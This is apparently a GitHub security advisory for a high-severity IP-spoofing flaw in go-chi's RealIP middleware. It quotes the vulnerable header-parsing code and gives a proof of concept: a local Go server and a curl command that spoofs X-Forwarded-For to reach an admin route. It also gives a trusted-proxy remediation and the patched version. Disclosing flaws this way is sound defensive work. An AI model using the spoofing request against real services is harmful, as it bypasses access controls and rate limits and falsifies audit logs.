---
id: GHSA-rjr7-jggh-pgcp
title: >-
  chi's RealIP Middleware allows IP spoofing via unvalidated X-Forwarded-For
  header
summary: >-
  chi's RealIP Middleware allows IP spoofing via unvalidated X-Forwarded-For
  header
severity: high
cwe:
  - CWE-290
  - CWE-348
vendor: go-chi
product: github.com/go-chi/chi/middleware
ecosystem: go
affected:
  - github.com/go-chi/chi/middleware <= 1.5.5
  - github.com/go-chi/chi/v2/middleware <= 2.1.1
  - github.com/go-chi/chi/v3/middleware <= 3.3.5
  - github.com/go-chi/chi/v4/middleware <= 4.1.3
  - github.com/go-chi/chi/v5/middleware < 5.3.0
patched:
  - github.com/go-chi/chi/v5/middleware 5.3.0
published: '2026-06-25'
updated: '2026-06-25'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-rjr7-jggh-pgcp'
references:
  - url: 'https://github.com/go-chi/chi/security/advisories/GHSA-rjr7-jggh-pgcp'
  - url: 'https://github.com/go-chi/chi/releases/tag/v5.3.0'
  - url: 'https://github.com/advisories/GHSA-rjr7-jggh-pgcp'
tags:
  - ghsa
  - go
ingestedAt: '2026-06-26T16:43:14.240Z'
---

## Overview

### Summary
realip middleware in go-chi/chi trusts headers like x-forwarded-for without checking them, so attackers can fake their ip and bypass rate limits or access controls

### Details

the vuln is in middleware/realip.go , the realIP() function pulls IPs straight from client headers and replaces r.RemoteAddr without checking if the request came from a trusted proxy

```go
func realIP(r *http.Request) string {
    var ip string
    if tcip := r.Header.Get(trueClientIP); tcip != "" {
        ip = tcip  // controlled by attacker
    } else if xrip := r.Header.Get(xRealIP); xrip != "" {
        ip = xrip  // controlled by attacker
    } else if xff := r.Header.Get(xForwardedFor); xff != "" {
        ip, _, _ = strings.Cut(xff, ",")  // controlled by attacker
    }
    // ...
    return ip
}
```

no trusted proxy cidr check in place, any client can send these headers

### PoC

create a server with chi and use realip middleware

```go
package main

import (
    "fmt"
    "net/http"
    "github.com/go-chi/chi/v5"
    "github.com/go-chi/chi/v5/middleware"
)

func main() {
    r := chi.NewRouter()
    r.Use(middleware.RealIP)

    r.Get("/admin", func(w http.ResponseWriter, r *http.Request) {
        // ip-based access control got bypassed
        if r.RemoteAddr == "127.0.0.1" {
            w.Write([]byte("SECRET ADMIN DATA"))
            return
        }
        http.Error(w, "Forbidden", 403)
    })

    http.ListenAndServe(":8080", r)
}
```

spoofed the ip to bypass access control

```bash
curl -H "X-Forwarded-For: 127.0.0.1" http://localhost:8080/admin
```


### Impact

- ip-based access control bypass lets attackers reach restricted endpoints
- rate limiting bypass lets attackers avoid limits by rotating spoofed ips
- audit logs show fake ips picked by attacker instead of real ones
- attackers can get around geo ip restrictions

## Remediation Recommendation

validate proxy cidr first before trusting forwarded ip headers

```go
// add your reverse proxy ip addresses here
var trustedProxies = []net.IPNet{
       {IP: net.ParseIP("10.0.0.0"), Mask: net.CIDRMask(8, 32)},
    {IP: net.ParseIP("172.16.0.0"), Mask: net.CIDRMask(12, 32)},
    {IP: net.ParseIP("192.168.0.0"), Mask: net.CIDRMask(16, 32)},
}

func isTrustedProxy(ip net.IP) bool {
    for _, cidr := range trustedProxies {
        if cidr.Contains(ip) {
            return true
        }
    }
    return false
}
```

## Affected packages

- `github.com/go-chi/chi/middleware <= 1.5.5`
- `github.com/go-chi/chi/v2/middleware <= 2.1.1`
- `github.com/go-chi/chi/v3/middleware <= 3.3.5`
- `github.com/go-chi/chi/v4/middleware <= 4.1.3`
- `github.com/go-chi/chi/v5/middleware < 5.3.0`

## Remediation

Upgrade to a patched release:

- `github.com/go-chi/chi/v5/middleware 5.3.0`
